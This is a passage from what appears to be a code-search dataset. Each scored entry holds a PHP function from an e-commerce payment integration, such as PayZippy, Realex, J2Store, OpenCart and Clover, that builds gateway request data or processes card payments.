0, -5) . '<br>';\n\t\t\t$description .= '; order_id=' . $order_id;\n\t\t}\n\t\t$data['product'] = array();\n\t\t$data['product']['description'] = substr($description, 0, 200);\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "93f3f7a526dba643c6eddfbb0006396c", "score": "0.6218839", "text": "public function prepareData()\n {\n }", "title": "" }, { "docid": "93f3f7a526dba643c6eddfbb0006396c", "score": "0.6218839", "text": "public function prepareData()\n {\n }", "title": "" }, { "docid": "c11ab476b360717dd88bb3893b36c3ea", "score": "0.62158453", "text": "public function prepare()\n\t{\n\n // get all default values from config\n\t $action = isset($this->inputParams['action'])?$this->inputParams['action']:'template';\n $template = isset($this->inputParams['template'])?$this->inputParams['template']:'getHierarchyByMarketType';\n $classId = isset($this->inputParams['classId'])?$this->inputParams['classId']:'1';\n $marketSort = isset($this->inputParams['marketSort'])?$this->inputParams['marketSort']:'HF';\n $filterBIR = isset($this->inputParams['filterBIR'])?$this->inputParams['filterBIR']:'N';\n\n $this->setInputParam('action', $action);\n $this->setInputParam('template', $template);\n $this->setInputParam('classId', $classId);\n $this->setInputParam('marketSort', $marketSort);\n $this->setInputParam('filterBIR', $filterBIR);\n\n\n\t}", "title": "" }, { "docid": "920bfb5d45c2dea778d8e0cf190abe2d", "score": "0.62064856", "text": "public function getRequestparams() {\n $_order = Mage::getSingleton('sales/order');\n $merchant_transaction_id = Mage::getSingleton('checkout/session')->getLastRealOrderId();\n \t$_order->loadByIncrementId($merchant_transaction_id);\n \t$payment_data = $_order->getPayment()->getData();\n $shipping_address = $_order->getShippingAddress();\n $billing_address = $_order->getBillingAddress();\n $customerid = $_order->getCustomerId();\n \t$amount = $_order->getBaseGrandTotal();\n \t$from_Currency = Mage::app()->getStore()->getCurrentCurrencyCode();\n $orderItemDetails = $this->getItemDetails($_order,$from_Currency);\n \t\n /* Required Variables*/\n \n $params['currency'] = \"INR\";\n $params['merchant_transaction_id'] = $merchant_transaction_id;\n \t$params['buyer_email_address'] = $_order->getBillingAddress()->getEmail();\n if($customerid != NULL && !isset($params['buyer_email_address'])) {\n $params['buyer_email_address'] = Mage::getSingleton('customer/session')->getCustomer()->getEmail();\n }\n \t$params['merchant_id'] = Mage::helper('payzippy')->getConfigData('merchant_id');\n \t$params['transaction_type'] = \"SALE\";\n \t$params['transaction_amount'] = $this->convertCurrency($from_Currency,$params['currency'],$amount); \n \t$params['ui_mode'] = \"REDIRECT\";\n \t$params['hash_method'] = \"MD5\";\n \t$params['merchant_key_id'] = Mage::helper('payzippy')->getConfigData('merchant_key_id');\n \t$params['callback_url'] = Mage::getUrl('payzippy/payment/response',array('_secure'=>true));\n \t// $params['payment_method'] = $payment_data['payzippy_payment_method'];\n \t// if(!empty ($payment_data['payzippy_bank_name'])):\n \t// \t$params['bank_name'] = $payment_data['payzippy_bank_name'];\n \t// endif;\n \t// if(!empty ($payment_data['payzippy_emi_months'])):\n \t// \t$params['emi_months'] = $payment_data['payzippy_emi_months'];\n \t// endif;\n\n /*Optional Variables*/\n\n $params['buyer_phone_no'] = $billing_address->getData('telephone');\n $params['shipping_address'] = str_replace(array(\"\\r\", \"\\n\"), '', $shipping_address->getData('street'));\n $params['is_user_logged_in'] = 'false';\n if($customerid != NULL) {\n $params['buyer_unique_id'] = $customerid;\n $params['is_user_logged_in'] = 'true';\n $params['address_count'] = count(Mage::getSingleton('customer/session')->getCustomer()->getAddresses());\n }\n $params['shipping_city'] = $shipping_address->getData('city');\n $params['shipping_state'] = $shipping_address->getData('region');\n $params['shipping_zip'] = $shipping_address->getData('postcode');\n $params['shipping_country'] = Mage::getSingleton('directory/country')->load($shipping_address->getData('country_id'))->getName();\n $params['billing_address'] = str_replace(array(\"\\r\", \"\\n\"), '', $billing_address->getData('street'));\n $params['billing_city'] = $billing_address->getData('city');\n $params['billing_state'] = $billing_address->getData('region');\n $params['billing_zip'] = $billing_address->getData('postcode');\n $params['billing_country'] = Mage::getSingleton('directory/country')->load($billing_address->getData('country_id'))->getName();\n if($this->isMobile()) {\n $params['source'] = 'mobile'; \n } else {\n $params['source'] = 'web';\n }\n $params['billing_name'] = $billing_address->getData('firstname'); \n $params['sales_channel'] = '';\n $params['item_total'] = $orderItemDetails['item_total'];\n $params['item_vertical'] = $orderItemDetails['item_vertical'];\n $params['udf1'] = Mage::helper('payzippy')->getConfigData('udf1');\n $params['udf2'] = Mage::helper('payzippy')->getConfigData('udf2');\n $params['udf3'] = Mage::helper('payzippy')->getConfigData('udf3');\n $params['udf4'] = Mage::helper('payzippy')->getConfigData('udf4');\n $params['udf5'] = Mage::helper('payzippy')->getConfigData('udf5');\n\n\t return $params;\n }", "title": "" }, { "docid": "e8f1d3b9a63998640b01f58a2109b7ec", "score": "0.61961454", "text": "private function processPayment()\n {\n\n }", "title": "" }, { "docid": "e1d878d74b7cd492e07b96916de2019e", "score": "0.619526", "text": "protected function prepareFields()\n {\n $this->fields['MERCHANT_PAYMENT_TYPE'] = \"CAMT_SETTLEMENT\";\n $dateTime = new DateTime(); // It's now\n $this->fields['PERIOD_START'] = $dateTime->sub(new DateInterval('P1M'))->format('Y-m-d'); //Last month\n $this->fields['PERIOD_END'] = (new DateTime())->format('Y-m-d');\n }", "title": "" }, { "docid": "0df0087920d3f0c862a3dcdf8d7eae44", "score": "0.61513776", "text": "function construct_value_array() {\n //$collected_gateway_data\n $andaz_vars = array();\n // Store settings to be sent to paypal\n\n $data = array();\n $data['client_id'] = get_option('andaz_client_id');\n $data['client_username'] = get_option('andaz_client_username');\n $data['client_password'] = get_option('andaz_client_password');\n $data['client_token'] = get_option('andaz_client_token');\n \n $data['mode'] = 'undefined';\n $data['processing_type'] = 'debit';\n $data['currency'] = $this->get_andaz_currency_code();\n \n $data['remote_address'] = $_SERVER['REMOTE_ADDR'];\n $data['billing_first_name'] = $this->cart_data['billing_address']['first_name'];\n $data['billing_last_name'] = $this->cart_data['billing_address']['last_name'];\n $data['billing_email_address'] = $this->cart_data['email_address'];\n $data['billing_address_line_1'] = $this->cart_data['billing_address']['address'];\n $data['billing_city'] = $this->cart_data['billing_address']['city'];\n $data['billing_state'] = $this->cart_data['billing_address']['state'];\n $data['billing_country'] = $this->cart_data['billing_address']['country'];\n $data['billing_postal_code'] = $this->cart_data['billing_address']['post_code'];\n \n $data['shipping_first_name'] = $this->cart_data['shipping_address']['first_name'];\n $data['shipping_last_name'] = $this->cart_data['shipping_address']['last_name'];\n $data['shipping_address_line_1'] = $this->cart_data['shipping_address']['address'];\n $data['shipping_city'] = $this->cart_data['shipping_address']['city'];\n $data['shipping_state'] = $this->cart_data['shipping_address']['state'];\n $data['shipping_country'] = $this->cart_data['shipping_address']['country'];\n $data['shipping_postal_code'] = $this->cart_data['shipping_address']['post_code'];\n \n $data['account_number'] = $_POST['card_number'];\n $data['expiration_month'] = $_POST['expiry']['month'];\n $data['expiration_year'] = $_POST['expiry']['year'];\n $data['cvv2'] = $_POST['card_code'];\n\n // Ordered Items\n // Cart Item Data\n $i = $item_total = 0;\n $tax_total = wpsc_tax_isincluded() ? 0 : $this->cart_data['cart_tax'];\n\n $shipping_total = $this->convert($this->cart_data['base_shipping']);\n\n $elements = array();\n foreach ($this->cart_items as $cart_row) {\n $i++;\n $elements[] = \"item_$i:\".str_replace(':', '+', str_replace(',', ' ', apply_filters( 'the_title', $cart_row['name'] ))). \" | Qty({$cart_row['quantity']}) | Price(\".$this->convert( $cart_row['price'] ).\")\";\n \n $shipping_total += $this->convert($cart_row['shipping']);\n $item_total += $this->convert($cart_row['price']) * $cart_row['quantity'];\n }\n \n if ($this->cart_data['has_discounts']) {\n $discount_value = $this->convert($this->cart_data['cart_discount_value']);\n\n $coupon = new wpsc_coupons($this->cart_data['cart_discount_data']);\n\n // free shipping\n if ($coupon->is_percentage == 2) {\n $shipping_total = 0;\n $discount_value = 0;\n } elseif ($discount_value >= $item_total) {\n $discount_value = $item_total - 0.01;\n $shipping_total -= 0.01;\n }\n\n $elements[] = \"item_$i: Coupon/Discount | Qty(1) | Price($discount_value)\";\n \n $item_total -= $discount_value;\n }\n\n if (!empty($elements)) {\n $data['pass_through'] = implode(',', $elements);\n }\n \n // Cart totals\n $cart_item_amount = $this->format_price($item_total);\n $cart_shipping_amount = $this->format_price($shipping_total);\n $cart_tax_amount = $this->convert($tax_total);\n $data['amount'] = $cart_item_amount + $cart_shipping_amount + $cart_tax_amount;\n $this->collected_gateway_data = apply_filters('wpsc_andaz_gateway_data_array', $data, $this->cart_items);\n }", "title": "" }, { "docid": "a8eea76fc8e98bf52bf76fb4a52d32ed", "score": "0.6131868", "text": "function processPayment()\n {\n\n $dbMain = $this->dbconnect();\n\n $fieldParse = new parseGatewayFields();\n $fieldParse->setCardName($this->cardName);\n $fieldParse->setAchName($this->accountName);\n $fieldParse->setCardType($this->cardType);\n $fieldParse->setAccountType($this->accountType);\n $fieldParse->setCardExpDate($this->cardYear);\n $fieldParse->parsePaymentFields();\n\n //reassign vars for CS Credit Cards\n $this->ccFirstName = $fieldParse->getCredtCardFirstName();\n $this->ccLastName = $fieldParse->getCredtCardLastName();\n $this->ccCardType = $fieldParse->getCardType();\n $this->ccCardYear = $fieldParse->getCardYear();\n $this->ccCardMonth = $this->cardMonth;\n $this->ccCardNumber = $this->cardNumber;\n $this->ccCardCvv = $this->cardCvv;\n\n \n $clubId = $_SESSION['location_id'];\n $dbMain = $this->dbconnect();\n \n $stmt = $dbMain->prepare(\"SELECT MIN(club_id) FROM club_info WHERE club_name != ''\");//>=\n $stmt->execute(); \n $stmt->store_result(); \n $stmt->bind_result($clubId); \n $stmt->fetch();\n $stmt->close();\n \n $stmt = $dbMain ->prepare(\"SELECT gateway_id, passwordfd FROM billing_gateway_fields WHERE club_id= '$clubId'\");\n $stmt->execute(); \n $stmt->store_result(); \n $stmt->bind_result($userName, $password);\n $stmt->fetch();\n $stmt->close();\n \n $amount = $this->creditPayment;\n $reference = \"CMP Prepayment\";\n //credit\"\";//\n $ccnumber = $this->ccCardNumber;//\"4111111111111111\";\n $ccexp = \"$this->ccCardMonth$this->ccCardYear\";//\"1010\";\n $cvv = \"$this->cardCvv\";\n //==================\n $vaultFunction = \"\";//'add_customer';//'add_customer' or 'update_customer'\n $orderId = \"$this->contractKey\";\n $merchField1 = \"$reference $this->contractKey\";\n $payTypeFlag = \"creditcard\";//\"creditcard\"; // '' or 'check'\n if(isset($_SESSION['track1'])){\n $track1 = $_SESSION['track1'];\n }else{\n $track1 = \"\";\n }\n if(isset($_SESSION['track2'])){\n $track2 = $_SESSION['track2'];\n }else{\n $track2 = \"\";\n }\n //$dupSecs = 3000;\n //======================== \n \n $gw = new gwapi;\n $gw->setLogin(\"$userName\", \"$password\");\n $r = $gw->doSale($amount, $ccnumber, $ccexp, $cvv, $payTypeFlag, $orderId, $merchField1, $track1, $track2, $ccFirstName, $ccLastName);\n \n \n \n $ccAuthDecision = $gw->responses['responsetext'];\n $vaultId = $gw->responses['customer_vault_id'];\n $authCode = $gw->responses['authcode']; \n $transaction_id = $gw->responses['transactionid'];\n $this->ccAuthReasonCode = $gw->responses['response_code'];\n /*\n if ($clubId == 0){\n $stmt = $dbMain->prepare(\"SELECT MIN(club_id) FROM club_info WHERE club_name != ''\");//>=\n $stmt->execute(); \n $stmt->store_result(); \n $stmt->bind_result($clubId); \n $stmt->fetch();\n $stmt->close();\n }\n $stmt = $dbMain ->prepare(\"SELECT gateway_id, passwordfd, languagefd, link FROM billing_gateway_fields WHERE club_id= '$clubId'\");\n $stmt->execute(); \n $stmt->store_result(); \n $stmt->bind_result($gatewayID, $password, $language, $link);\n $stmt->fetch();\n $stmt->close();\n \n $transactionType = \"00\";\n $name = \"$ccFirstName $ccLastName\";\n $reference = \"CMP Prepayment\";\n $trxnProperties = array(\n \"User_Name\"=>\"\",\n \"Secure_AuthResult\"=>\"\",\n \"Ecommerce_Flag\"=>\"R\", // 2 = recurring R= retail\n \"XID\"=>\"\",\n \"ExactID\"=>\"$gatewayID\",\t\t\t\t //Payment Gateway\n \"CAVV\"=>\"\",\n \"Password\"=>\"$password\",\t\t\t\t\t //Gateway Password\n \"CAVV_Algorithm\"=>\"\",\n \"Transaction_Type\"=>$transactionType,//Transaction Code I.E. Purchase=\"00\" Pre-Authorization=\"01\" etc.\n \"Reference_No\"=>$reference,\n \"Customer_Ref\"=>$merchant_reference_code,\n \"Reference_3\"=>$_POST[\"tbPOS_Reference_3\"],\n \"Client_IP\"=>\"\",\t\t\t\t\t //This value is only used for fraud investigation.\n \"Client_Email\"=>$account_email,\t\t\t//This value is only used for fraud investigation.\n \"Language\"=>$language,\t\t\t\t//English=\"en\" French=\"fr\"\n \"Card_Number\"=>$this->ccCardNumber,\t\t //For Testing, Use Test#s VISA=\"4111111111111111\" MasterCard=\"5500000000000004\" etc.\n \"Expiry_Date\"=>$this->ccCardMonth . $this->ccCardYear,//This value should be in the format MM/YY.\n \"CardHoldersName\"=>$name,\n \"Track1\"=>\"\",\n \"Track2\"=>\"\",\n \"Authorization_Num\"=>$_POST[\"tbPOS_Authorization_Num\"],\n \"Transaction_Tag\"=>$_POST[\"tbPOS_Transaction_Tag\"],\n \"DollarAmount\"=>$this->creditPayment,\n \"VerificationStr1\"=>$_POST[\"tbPOS_VerificationStr1\"],\n \"VerificationStr2\"=>\"\",\n \"CVD_Presence_Ind\"=>\"\",\n \"Secure_AuthRequired\"=>\"\",\n \"Currency\"=>\"\",\n \"PartialRedemption\"=>\"\",\n \n // Level 2 fields \n \"ZipCode\"=>$_POST[\"tbPOS_ZipCode\"],\n \"Tax1Amount\"=>$_POST[\"tbPOS_Tax1Amount\"],\n \"Tax1Number\"=>$_POST[\"tbPOS_Tax1Number\"],\n \"Tax2Amount\"=>$_POST[\"tbPOS_Tax2Amount\"],\n \"Tax2Number\"=>$_POST[\"tbPOS_Tax2Number\"],\n \n \"SurchargeAmount\"=>$_POST[\"tbPOS_SurchargeAmount\"],\t//Used for debit transactions only\n \"PAN\"=>$_POST[\"tbPOS_PAN\"]\t\t\t\t\t\t\t//Used for debit transactions only\n );\n \n \n $client = new SoapClientHMAC($link);\n $trxnResult = $client->SendAndCommit($trxnProperties);\n \n $ccAuthRequestId = $trxnResult->Authorization_Num;\n $this->ccAuthReasonCode = $trxnResult->Bank_Resp_Code;\n $ccAuthDecision = $trxnResult->Bank_Message; */\n\n if ($this->ccAuthReasonCode != 100) {\n $this->paymentStatus = 2;\n //$this->transactionId = $ccAuthRequestId;\n } else {\n $this->paymentStatus = 1;\n }\n\n //$this->paymentStatus = 1;\n\n\n }", "title": "" }, { "docid": "a8f1bd29a19da3a363341702bbdd436b", "score": "0.61158764", "text": "public function _prePayment( $data )\r\n\t{\r\n\t\t$jinput = JFactory::getApplication()->input;\r\n\r\n\t\t// Prepare the payment form\r\n\t\t$vars = new JObject;\r\n\r\n\t\t// Now we have everthing in the data. We need to generate some more paymill specific things.\r\n\r\n\t\t// Lets get vendorname\r\n\r\n\t\t$vars->url = JRoute::_(\"index.php?option=com_j2store&view=checkout\");\r\n\t\t$vars->order_id = $data['order_id'];\r\n\t\t$vars->orderpayment_id = $data['orderpayment_id'];\r\n\t\t$vars->orderpayment_type = $this->_element;\r\n\r\n\t\t$vars->cardholder = $jinput->get(\"cardholder\", '', 'filter');\r\n\t\t$vars->payment_mode = $jinput->get(\"payment_mode\", '', 'filter');\r\n\r\n\t\t// Cerdit card\r\n\t\t$vars->cardnum = $jinput->get(\"cardnum\");\r\n\t\t$month = $jinput->get(\"month\");\r\n\t\t$year = $jinput->get(\"year\");\r\n\t\t$card_exp = $month . ' / ' . $year;\r\n\t\t$vars->cardexp = $card_exp;\r\n\r\n\t\t$vars->cardcvv = $jinput->get(\"cardcvv\");\r\n\t\t$vars->cardnum_last4 = substr($jinput->get(\"cardnum\"), -4);\r\n\r\n\t\t// Debit card\r\n\t\t$vars->accnum = $jinput->get(\"accnum\");\r\n\t\t$vars->accnum_last4 = substr($jinput->get(\"accnum\"), -4);\r\n\t\t$vars->banknum = $jinput->get(\"banknum\");\r\n\t\t$vars->country = $jinput->get(\"country\");\r\n\r\n\t\t// Token\r\n\t\t$vars->token12 = $jinput->get(\"token12\");\r\n\r\n\t\t// Lets check the values submitted\r\n\t\t$html = $this->_getLayout('prepayment', $vars);\r\n\r\n\t\treturn $html;\r\n\t}", "title": "" }, { "docid": "58f622423077c4e61e371b46c1097c0e", "score": "0.6114462", "text": "private function _prepare() {\n if (isset($this->request->get) && isset($_GET)) {\n\n // Prepare for OpenCart\n foreach ($this->request->get as $key => $value) {\n $this->request->get[str_replace('amp;', '', $key)] = $value;\n }\n\n // Prepare for Library\n foreach ($_GET as $key => $value) {\n $_GET[str_replace('amp;', '', $key)] = $value;\n }\n }\n\n // Base64 URL Decode\n if (isset($this->request->get['redirect'])) {\n $this->_redirect = base64_decode($this->request->get['redirect']);\n } else {\n $this->_redirect = $this->url->link('account/login');\n }\n }", "title": "" }, { "docid": "dc03f9fe62721a650d9a5cbc47c80053", "score": "0.609399", "text": "protected function _prepareTemplateData()\n\t{\n\t\tif ($this->_actionInstance) {\n\t\t\t$this->addData(array(\n\t\t\t\t'reward_points' =>\n\t\t\t\t\t$this->_rewardInstance->estimateRewardPoints($this->_actionInstance),'landing_page_url' => df_h()->reward()->getLandingPageUrl(),));\n\t\t\tif ($this->_rewardInstance->getId()) {\n\t\t\t\t// estimate qty limitations (actually can be used without customer reward record)\n\t\t\t\t$qtyLimit = $this->_actionInstance->estimateRewardsQtyLimit();\n\t\t\t\tif (null !== $qtyLimit) {\n\t\t\t\t\t$this->setData('qty_limit', $qtyLimit);\n\t\t\t\t}\n\n\t\t\t\tif ($this->hasGuestNote()) {\n\t\t\t\t\t$this->unsGuestNote();\n\t\t\t\t}\n\n\t\t\t\t$this->addData(array(\n\t\t\t\t\t'points_balance' => $this->_rewardInstance->getPointsBalance(),'currency_balance' => $this->_rewardInstance->getCurrencyAmount(),));\n\t\t\t\t// estimate monetary reward\n\t\t\t\t$amount = $this->_rewardInstance->estimateRewardAmount($this->_actionInstance);\n\t\t\t\tif (null !== $amount) {\n\t\t\t\t\t$this->setData('reward_amount', $amount);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif ($this->hasIsGuestNote() && !$this->hasGuestNote()) {\n\t\t\t\t\t$this->setGuestNote(df_h()->reward()->__('Applies only to registered customers, may vary when logged in.'));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "dae919fa8b08f6e75611f02b2e05fe8f", "score": "0.60600066", "text": "protected function prepare()\n {\n return array(\n 'code' => $this->code,\n 'data' => $this->data,\n 'message' => $this->message,\n );\n }", "title": "" }, { "docid": "d53d9fd4a0e7d50a7ed28b363a4880cd", "score": "0.60396796", "text": "protected function _prepare()\n\t{\n\t\t$this->setStep('Initialization');\n\t\t$this->setSubstep('');\n\n\t\t// Process parameters, passed to us using the setup() public method\n\t\tFactory::getLog()->debug(__CLASS__ . \" :: Processing parameters\");\n\t\tif (is_array($this->_parametersArray))\n\t\t{\n\t\t\t$this->driver = array_key_exists('driver', $this->_parametersArray) ? $this->_parametersArray['driver'] : $this->driver;\n\t\t\t$this->host = array_key_exists('host', $this->_parametersArray) ? $this->_parametersArray['host'] : $this->host;\n\t\t\t$this->port = array_key_exists('port', $this->_parametersArray) ? $this->_parametersArray['port'] : $this->port;\n\t\t\t$this->username = array_key_exists('username', $this->_parametersArray) ? $this->_parametersArray['username'] : $this->username;\n\t\t\t$this->username = array_key_exists('user', $this->_parametersArray) ? $this->_parametersArray['user'] : $this->username;\n\t\t\t$this->password = array_key_exists('password', $this->_parametersArray) ? $this->_parametersArray['password'] : $this->password;\n\t\t\t$this->database = array_key_exists('database', $this->_parametersArray) ? $this->_parametersArray['database'] : $this->database;\n\t\t\t$this->prefix = array_key_exists('prefix', $this->_parametersArray) ? $this->_parametersArray['prefix'] : $this->prefix;\n\t\t\t$this->dumpFile = array_key_exists('dumpFile', $this->_parametersArray) ? $this->_parametersArray['dumpFile'] : $this->dumpFile;\n\t\t\t$this->processEmptyPrefix = array_key_exists('process_empty_prefix', $this->_parametersArray) ? $this->_parametersArray['process_empty_prefix'] : $this->processEmptyPrefix;\n\t\t}\n\n\t\t// Make sure we have self-assigned the first part\n\t\t$this->partNumber = 0;\n\n\t\t// Get DB backup only mode\n\t\t$configuration = Factory::getConfiguration();\n\n\t\t// Find tables to be included and put them in the $_tables variable\n\t\t$this->getTablesToBackup();\n\n\t\t// Find where to store the database backup files\n\t\t$this->getBackupFilePaths($this->partNumber);\n\n\t\t// Remove any leftovers\n\t\t$this->removeOldFiles();\n\n\t\t// Initialize the extended INSERTs feature\n\t\t$this->extendedInserts = ($configuration->get('engine.dump.common.extended_inserts', 0) != 0);\n\t\t$this->packetSize = (int) $configuration->get('engine.dump.common.packet_size', 0);\n\n\t\tif ($this->packetSize == 0)\n\t\t{\n\t\t\t$this->extendedInserts = false;\n\t\t}\n\n\t\t// Initialize the split dump feature\n\t\t$this->partSize = $configuration->get('engine.dump.common.splitsize', 1048576);\n\t\tif (Factory::getEngineParamsProvider()->getScriptingParameter('db.saveasname', 'normal') == 'output')\n\t\t{\n\t\t\t$this->partSize = 0;\n\t\t}\n\t\tif (($this->partSize != 0) && ($this->packetSize != 0) && ($this->packetSize > $this->partSize))\n\t\t{\n\t\t\t$this->packetSize = floor($this->partSize / 2);\n\t\t}\n\n\t\t// Initialize the algorithm\n\t\tFactory::getLog()->debug(__CLASS__ . \" :: Initializing algorithm for first run\");\n\t\t$this->nextTable = array_shift($this->tables);\n\n\t\t// If there is no table to back up we are done with the database backup\n\t\tif (empty($this->nextTable))\n\t\t{\n\t\t\t$this->setState(self::STATE_POSTRUN);\n\n\t\t\treturn;\n\t\t}\n\n\t\t$this->nextRange = 0;\n\t\t$this->query = '';\n\n\t\t// FIX 2.2: First table of extra databases was not being written to disk.\n\t\t// This deserved a place in the Bug Fix Hall Of Fame. In subsequent calls to _init, the $fp in\n\t\t// _writeline() was not nullified. Therefore, the first dump chunk (that is, the first table's\n\t\t// definition and first chunk of its data) were not written to disk. This call causes $fp to be\n\t\t// nullified, causing it to be recreated, pointing to the correct file.\n\t\t$null = null;\n\t\t$this->writeline($null);\n\n\t\t// Finally, mark ourselves \"prepared\".\n\t\t$this->setState(self::STATE_PREPARED);\n\t}", "title": "" }, { "docid": "2d17a71a21f658ebab3e0d8114eacf6c", "score": "0.6031656", "text": "public function setMerchantData() {\n $this->get = $this->callingData->get;\n $this->reportName = isset($this->callingData->report) ? $this->callingData->report : '';\n $this->returnCategories = true; // we'll set it true every time now.\n\n $this->output = isset($this->callingData->output) ? $this->callingData->output : '';\n\n $this->getOpenOrders = isset($this->callingData->openOrders) && $this->callingData->openOrders === true;\n\n $this->groupFields = isset($this->callingData->groupFields) && is_array($this->callingData->groupFields) ? $this->callingData->groupFields : [];\n // Check if columns are objects, and check column alias.\n foreach($this->groupFields as &$tmpField) {\n if(is_array($tmpField)) {\n $tmpField = (object)$tmpField;\n }\n if(empty($tmpField->alias)) {\n $tmpField->alias = $tmpField->name;\n }\n }\n $this->groupFilters = isset($this->callingData->groupFilters) ? (array)$this->callingData->groupFilters : [];\n $this->groupFieldForLOV = !empty($this->callingData->groupFieldForLOV) ? $this->callingData->groupFieldForLOV : '';\n $this->groupSplitField = !empty($this->callingData->groupSplitField) ? $this->callingData->groupSplitField : '';\n $this->groupDoGrouping = isset($this->callingData->groupDoGrouping) ? (bool)$this->callingData->groupDoGrouping : true;\n $this->groupDoFilling = isset($this->callingData->groupDoFilling) ? (bool)$this->callingData->groupDoFilling : false;\n\n $this->dateFormat = $this->getGeneralSetting($this->merchantIdCaller, 'dateFormat', self::DATE_FORMAT_ISO);\n\n // if we are just grouping, a lot of things are not necessary.\n if($this->groupingInProcess) {\n return;\n }\n\n if (strpos($this->get, 'reports') !== false || $this->get === 'clear_cache') {\n $this->useSession = false;\n } else {\n $this->useSession = true;\n }\n\n $this->cacheCustomers = $this->getGeneralSetting($this->merchantIdCaller, 'fetchCustomerInfo', false);\n\n foreach($this->merchantIds as $merchantId) {\n $merchantData = new stdClass;\n $merchantData->merchant_id = $merchantId;\n $merchantData->merchant_name = $this->merchantNames[$merchantId];\n $merchantData->token = $this->tokens[$merchantId];\n $merchantData->timezone = $this->timezones[$merchantId];\n $merchantData->hour_shift = $this->hourShifts[$merchantId];\n $merchantData->report = $this->callingData->report;\n $merchantData->return_categories = $this->callingData->return_categories;\n $merchantData->get = $this->callingData->get;\n\n if(isset($this->callingData->days_offset)) $merchantData->days_offset = $this->callingData->days_offset;\n if(isset($this->callingData->days_offset_start)) $merchantData->days_offset_start = $this->callingData->days_offset_start;\n if(isset($this->callingData->days_offset_end)) $merchantData->days_offset_end = $this->callingData->days_offset_end;\n if(isset($this->callingData->date_start)) $merchantData->date_start = $this->callingData->date_start;\n if(isset($this->callingData->date_end)) $merchantData->date_end = $this->callingData->date_end;\n\n $clover = new Clover;\n $clover->setCustomers($this->hasCustomers[$merchantId]); // call before setApiData\n $reportParams = $clover->setApiData($this->apiType, $merchantData, $merchantId);\n // set-up the 'main' start and end date which will be sent to frontend.\n if($merchantId == $this->merchantIdCaller) {\n // we will use calling merchant's dates...\n $this->reportStartDate = $reportParams['startDate_readable'];\n $this->reportEndDate = $reportParams['endDate_readable'];\n } elseif(empty($this->reportStartDate)) {\n // ... but we will initialize it to the first location we find. reason for this is merchant filtering on frontend.\n $this->reportStartDate = $reportParams['startDate_readable'];\n $this->reportEndDate = $reportParams['endDate_readable'];\n }\n\n $this->merchants[$merchantId] = $clover;\n }\n }", "title": "" }, { "docid": "11959ac15ca69e4a5b1a0bb81569d580", "score": "0.6017354", "text": "public function getData()\n {\n\n //$this->validate('amount', 'currency', 'transactionId');\n\n // Build the hash string\n $timestamp = strftime(\"%Y%m%d%H%M%S\");\n $merchantId = $this->getMerchantId();\n $orderId = time() + rand(0, 1000); // Random number\n $payerRef = $this->getPayerReference();\n\n // Get the credit card\n $credit_card = $this->getCard();\n\n $secret = $this->getSecret();\n $tmp = \"$timestamp.$merchantId.$orderId...\" . $payerRef . \".\" . $credit_card->getName() . \".\" . $credit_card->getNumber();\n\n\n $sha1hash = sha1($tmp);\n $tmp2 = \"$sha1hash.$secret\";\n $sha1hash = sha1($tmp2);\n\n // Its DOM time\n $domTree = new \\DOMDocument('1.0', 'UTF-8');\n\n // root element\n $root = $domTree->createElement('request');\n $root->setAttribute('type', 'card-new');\n $root->setAttribute('timestamp', $timestamp);\n $root = $domTree->appendChild($root);\n\n // merchant ID\n $root->appendChild($domTree->createElement('merchantid', $merchantId));\n\n // Unique id for this request (normally use timestamp + rand(1,5000) or similar\n $root->appendChild($domTree->createElement('orderid', $orderId));\n\n // Create the card\n $card = $domTree->createElement('card');\n\n // Payer ref. The person this card is being assigned to\n $card->appendChild($domTree->createElement('payerref', $this->getPayerReference()));\n\n // Card Reference (Customers name for it, e.g. Current Account)\n $card->appendChild($domTree->createElement('ref', $this->getCardRef()));\n\n // Card Number\n $card->appendChild($domTree->createElement('number', $credit_card->getNumber()));\n\n // Expiry date\n $card->appendChild($domTree->createElement('expdate', $credit_card->getExpiryDate('my')));\n\n // Card holder name\n $card->appendChild($domTree->createElement('chname', $credit_card->getName()));\n\n // Type or Brand (e.g. VISA - Auto calculated)\n $brand = $credit_card->getBrand();\n // Realex name for mastercard is different to Omnipay\n if($brand==\"mastercard\") $brand=\"mc\";\n\n $card->appendChild($domTree->createElement('type', $brand));\n\n // Issue number\n $card->appendChild($domTree->createElement('issueno', $credit_card->getIssueNumber()));\n\n // Add the card to the root node\n $root->appendChild($card);\n\n\n // Hash\n $sha1El = $domTree->createElement('sha1hash', $sha1hash);\n $root->appendChild($sha1El);\n\n $xmlString = $domTree->saveXML($root);\n\n return $xmlString;\n\n }", "title": "" }, { "docid": "fbf7ef2cb7ac175e22e141e950c93eb0", "score": "0.5972011", "text": "function before_process() {\n\t\tglobal $_POST, $response, $db, $order, $messageStack;\n\t \n\t\t$espayproduct = $_SESSION['paymentType'];\n\t\t$classes=explode(\",\",$espayproduct); \n\t\t$productName = $classes[0];\n\t\t$bankCode = $classes[1];\n\t\t$productCode = $classes[2];\n \t\n\t\t$_POST['paymentType'] = 'Online Payment: '.$productName;\n\t\t$_POST['bankCode'] = $bankCode;\n\t\t$_POST['productName'] = $productName;\n\t\t$_POST['productCode'] = $productCode;\n\t\t\n\t // DATA PREPARATION SECTION\n\t unset($submit_data); // Cleans out any previous data stored in the variable\n\t\n\t // Create a string that contains a listing of products ordered for the description field\n\t $description = '';\n\t for ($i=0; $i<sizeof($order->products); $i++) {\n\t $description .= $order->products[$i]['name'] . '(qty: ' . $order->products[$i]['qty'] . ') + ';\n\t }\n\t // Remove the last \"\\n\" from the string\n\t $description = substr($description, 0, -2);\n\t\n\t // Create a variable that holds the order time\n\t $order_time = date(\"F j, Y, g:i a\");\n\t\n\t // Calculate the next expected order id\n\t $last_order_id = $db->Execute(\"select * from \" . TABLE_ORDERS . \" order by orders_id desc limit 1\");\n\t $new_order_id = $last_order_id->fields['orders_id'];\n\t \n\t $new_order_id = ($new_order_id + 1);\n\t\t\n\t\treturn false;\t\n\t}", "title": "" }, { "docid": "9f62c6965edb8f9aa36e2774cc6e1b22", "score": "0.5968025", "text": "public function initialize() {\n global $lC_Database, $lC_Language, $order;\n\n if ((int)ADDONS_PAYMENT_QUICKPAY_PAYMENTS_ORDER_STATUS_ID > 0) {\n $this->order_status = ADDONS_PAYMENT_QUICKPAY_PAYMENTS_ORDER_STATUS_ID;\n }\n\n if ((int)ADDONS_PAYMENT_QUICKPAY_PAYMENTS_ORDER_STATUS_COMPLETE_ID > 